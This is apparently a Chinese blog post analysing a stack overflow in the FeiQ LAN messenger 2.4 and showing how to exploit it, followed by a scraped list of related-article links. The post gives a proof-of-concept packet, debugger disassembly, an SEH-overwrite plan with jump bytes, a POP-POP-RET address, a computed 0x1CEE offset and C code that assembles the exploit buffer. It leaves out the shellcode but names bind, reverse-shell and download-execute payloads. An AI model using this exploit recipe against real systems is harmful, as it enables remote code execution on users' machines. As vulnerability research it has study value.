飞秋是个不错的局域网通信软件,相信使用的用户不少,最新版本应该是2.5。考虑到可能对很多使用者造成隐患,这边就拿低一点的版本进行分析,为2.4版本。
其实artake已经说得很清楚了,很多大大可能不屑于这么简单的栈溢出,我这边权且当做抛砖引玉吧,见笑了。

一、
根据artake提供的POC:
1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......
调试定位到出现bug时的代码:

0049061C|./EB2Ejmpshort0049064C
0049061E|>|81FBFF3F0000cmpebx,3FFF
00490624|.|B8FF3F0000moveax,3FFF
00490629|.|7F02jgshort0049062D
0049062B|.|8BC3moveax,ebx
0049062D|>|8B742420movesi,dwordptr[esp+20]
00490631|.|8BC8movecx,eax
00490633|.|8BD9movebx,ecx
00490635|.|C1E902shrecx,2
00490638|.|F3:A5repmovsdwordptres:[edi],dwordp>;//在拷贝时溢出出错
0049063A|.|8BCBmovecx,ebx
0049063C|.|8B5C242Cmovebx,dwordptr[esp+2C]
00490640|.|83E103andecx,3
00490643|.|40inceax

在执行到00490638时,寄存器状态如下:

EAXFFFFFFFF
ECX3FFFFFFF
EDX00000000
EBXFFFFFFFF
ESP0011B450
EBP001235C8ASCII"admin"
ESI0011F525
EDI00123670
EIP00490638飞秋FeiQ.00490638

可知从ESI地址拷贝3FFFFFFFbyte数据到[00123670],拷贝时数据从低位往高位增长,即堆栈往下增长,堆栈栈底信息如下:
0012FFEC00000000
0012FFF000000000
0012FFF400000000
0012FFF800552DC7飞秋FeiQ.<ModuleEntryPoint>
0012FFFC00000000

00123670+3FFFFFFF>0012FFFC,明显溢出。

二、
溢出时,触发SEH,此时再观察堆栈中的SEH,查看SEH链:
SEH链用于主线程
地址SE处理程序
0011F498飞秋FeiQ.00589B89

0012D5F4飞秋FeiQ.00593AA7
0012D678飞秋FeiQ.00595644
0012D728USER32.77D4048F
0012D788USER32.77D4048F
0012D80C飞秋FeiQ.005955B4
0012FF08飞秋FeiQ.00586673
0012FFB0飞秋FeiQ.00555990
0012FFE0kernel32.7C839AD8

堆栈值>123670(拷贝的第一个EDI地址)的第一个SEH链为0012D5F4,进去看具体堆栈:
0012D5F00050F55F返回到飞秋FeiQ.0050F55F来自飞秋FeiQ.00550870
0012D5F40012D678指向下一个SEH记录的指针
0012D5F800593AA7SE处理程序
0012D5FCFFFFFFFF

初步构思淹没SEH指针和处理程序,从而能执行到自己的shellcode,构思结果如下:
0012D5F406EB06EB指向下一个SEH记录的指针,这里更改为相当于jmp+4,跳到0012D5FC执行shellcode
0012D5F87FFA1571SE处理程序,这个地址是经典的POP,POP,RET地址,XPSP1,SP2,SP3应该是通用
0012D5FC0089E8FC这里为shellcode开始地址
0012D60089600000
0012D60464D231E5
0012D6088B30528B
0012D60C528B0C52

三、
初步分析后,考虑如何实现以上淹没过程,首先需计算偏移,使其能正确淹没SEH地址。在这个例子中,计算偏移的方法比较简单,可直接利用artake提供的POC程序定位:
当数据刚好淹没到0012D5F8时,此时ESI数据位:1294A9,而数据开始地址为1277BB,则1294A9-1277BB=1CEE。
也就是说数据偏移0X1CEE处即应为数据06EB06EB(jmp+4)。

在artake大大的代码下,简略更改如下:
charsenddata1[]="1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:";
charbefor_shellcode[]="\xeb\x06\xeb\x06\x71\x15\xfa\x7f";//8byte
inti=0;
intsenddata1length=strlen(senddata1);
memset(sendbuf,'A',0x3fff);
strcpy(sendbuf,senddata1);
strcpy(sendbuf+senddata1length+0x1cee,befor_shellcode);
strcpy(sendbuf+senddata1length+strlen(befor_shellcode)+0x1cee,shellcode);
上面的shellcode就不列出来了,是绑定端口或反弹端口或下载执行,仁者见仁,智者见智吧,如果shellcode里面有byte为0x00,那么可用encode方式或直接用for循环拷贝到sendbuf即可。

执行效果如下:

飞秋远程可利用0day 的详细分析和利用方法 飞秋漏洞相关推荐

  1. 详细分析微软“照片”应用图像编码器漏洞 (CVE-2020-17113)

     聚焦源代码安全,网罗国内外最新资讯! 在上一篇<微软"照片"应用Raw 格式图像编码器漏洞 (CVE-2021-24091)的技术分析>中,笔者基于对Olympus ...

  2. 【转】cve2014-3153 漏洞之详细分析与利用

    背景学习: Linux Futex的设计与实现 使用者角度看bionic pthread_mutex和linux futex实现 By kernux TopSec α-lab 一 漏洞概述 这个漏洞是 ...

  3. 详细分析 Sonlogger 任意文件上传漏洞 (CVE-2021-27964)

     聚焦源代码安全,网罗国内外最新资讯! 概述 Sonlogger 是土耳其SFC 公司 开发的一款应用软件,兼容土耳其<第5651号法>,是一款基于 Web 的 SonicWall 防火墙 ...

  4. 详细分析如何利用python批量爬取百度图片

    这篇文章主要写的是利用python网络爬虫批量来爬取百度图片并保存到文件夹中. 首先我们打开百度图片这个网页:https://image.baidu.com/ 我们现在随便搜一个类型的图片,比如小狗, ...

  5. vb fso方式访问网络上的共享文件夹_经常遇见的网络故障详细分析及解决方法!...

     故障1:交换机刚加电时网络无法通信  [故障现象] 交换机刚刚开启的时候无法连接至其他网络,需要等待一段时间才可以.另外,需要使用一段时间之后,访问其他计算机的速度才快,如果有一段时间不使用网络,再 ...

  6. 详细分析谷歌紧急修复的 Chrome 0day(CVE-2021-21224)

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士 本文作者 iamelli0t 发布文章,详细分析了谷歌于今天修复的两个近期备受关注的两个漏洞Chrome CVE-2021-21220 和 ...

  7. 堆栈 cookie 检测代码检测到基于堆栈的缓冲区溢出_漏洞公告 | 华硕(ASUS)家庭无线路由器远程代码执行0day...

     漏洞公告:  华硕(ASUS) RT系列是由华硕(ASUS)发布的针对家庭用户的中高端无线路由器,市场占用率比较高. 华硕路由器(ASUS)提供Web服务的组件存在一个设计缺陷:存在缓冲区溢出问题, ...

  8. war包启动命令_【漏洞预警】Oracle WebLogic远程命令执行0day漏洞(CVE20192725补丁绕过)...

    概述 近日,奇安信天眼与安服团队通过数据监控发现,野外出现Oracle WebLogic远程命令执行漏洞最新利用代码,此攻击利用绕过了厂商今年4月底所发布的最新安全补丁(CVE-2019-2725). ...

  9. 黑客利用0day,从General Bytes比特币ATM盗走150万美元

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 领先的比特币ATM制造商 General Bytes 披露称,黑客利用位于该公司BATM管理平台上的一个0day,窃取了公司和客户的密币. Ge ...

  10. 苹果发布 iOS 和 macOS 更新,修复已遭利用0day

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 本周三,苹果公司发布 iOS 15.3 和 macOS Monterey 12.2,修复了两个0day,其中一个已公开(CVE-2022-225 ...

最新文章

  1. 授权服务框架Spring Authorization Server的过滤器链
  2. 改变UITextField PlaceHolder的字体和颜色,不影响正常输入
  3. /bin/bash^M: bad interpreter: 没有那个文件或目录--转载
  4. Linux命令: grep命令
  5. 文件夹恢复后java运行慢,eclipse中每次重新启动服务,运行环境下的文件夹或者文件被还原...
  6. 黑马程序员_java基础笔记(15)...银行业务调度系统_编码思路及代码
  7. python中superclass是什么_深度解析并实现python中的super(转载,好文)
  8. objectid.go源码阅读
  9. Win11黑夜模式在哪开启 Win11黑夜模式怎么开启
  10. day33 java的反射
  11. Centos7安装Python3的方法
  12. CodeForces - 1514B AND 0, Sum Big【快速模幂】
  13. CMD中文显示为乱码
  14. 看了某LINUX打包规范,没搞明白怎么支持多CPU,自己测试过没有?
  15. jfinal解决跨域(eova和jfinal)
  16. 修改oracle管理员用户密码
  17. 国内和国际反垃圾邮件组织
  18. JES专栏:Portlets的国际化和本地化(eNews 第二十八期/2007.09)
  19. C++大法:举世闻名之BOOST大法精华浅析(三)内存管理库(小白piao分享)
  20. 辽宁丰睿佳业:抖音店铺选品注意事项有哪些?

热门文章

  1. mysql-cluster安装与配置
  2. setPositiveButton和setNegativeButton的区别
  3. 关于OPENGL纹理
  4. 强化学习过程中对产生的无效动作应该如何进行屏蔽处理?(强化学习中可变的动作空间怎么处理)
  5. 15个快速学习苹果Swift编程语言的入门教程
  6. pow函数php,PHP pow( )用法及代码示例
  7. 新编计算机组装与维护教程,新编计算机组装与维护教程/21世纪高等学校计算机科学与技术规划教材...
  8. Android字体、字重
  9. C语言填空概念题及答案,C语言填空题以及答案
  10. 最快下月!地表最强语言模型GPT-4发布在即?CEO暗示:已通过图灵测试